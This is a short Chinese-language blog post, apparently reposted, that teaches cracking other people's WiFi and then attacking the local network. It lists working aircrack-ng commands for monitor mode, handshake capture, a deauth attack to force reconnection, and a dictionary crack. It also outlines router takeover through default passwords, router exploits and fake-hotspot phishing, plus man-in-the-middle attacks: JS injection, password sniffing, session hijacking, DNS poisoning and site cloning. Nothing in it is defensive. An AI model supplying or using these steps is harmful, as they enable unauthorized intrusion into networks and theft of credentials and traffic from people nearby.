wifi破解到局域网渗透
本文转自 _博客
一,密码破解
wifi破解最主要的还是抓握手包破解(不要给我说某某钥匙的“分享”)。
wifi认证主要分为四步:
1,无线客户端与ap连接时,首先发送一个认证请求包
2,ap收到请求后发送一段信息给客户端
3,客户端将信息加密后交给ap
4,ap检查加密结果是否正确,正确则连接,反之否。
破解步骤(以aircrack-ng为例子):
1,将无线网卡打开至监听模式:
airmon-ng start wlan0
2,探测无线网络:
airodump-ng mon0
3,选择要破解的路由器
airodump-ng -c 信道号 –bssid ap的mac -w 保存的包名 mon0
4,发送deauth攻击,使客户端断开ap,然后自动重连,方便抓取握手包
aireplay-ng -0 10 -a ap的mac -c 客户端的mac –ignore-negative-one mon0
5,破解
aircrack-ng -w 字典 之前保存的包名
也可以使用fern-wifi-cracker这个python写的图形化傻瓜式一键破解工具。
二,局域网渗透
1,还是路由器
知道了wifi密码还不够,还需要得到拨号帐号密码。
a)默认的帐号密码
b)路由器漏洞 routerpwn
c)基础认证钓鱼 http://www.qq2b.net/archives/213.html
wifiphiser :伪造热点,并且弹出一个路由器升级提示页面,让你输入密码
2,中间人攻击
局域网不用像内网域渗透那样小心翼翼
1)dsploit,cain,ettercap等工具
注入js钓鱼,嗅探密码,下载替换,会话劫持,dns毒化等等配合社工效果更佳。特别细化dns毒化+set工具包的站点克隆。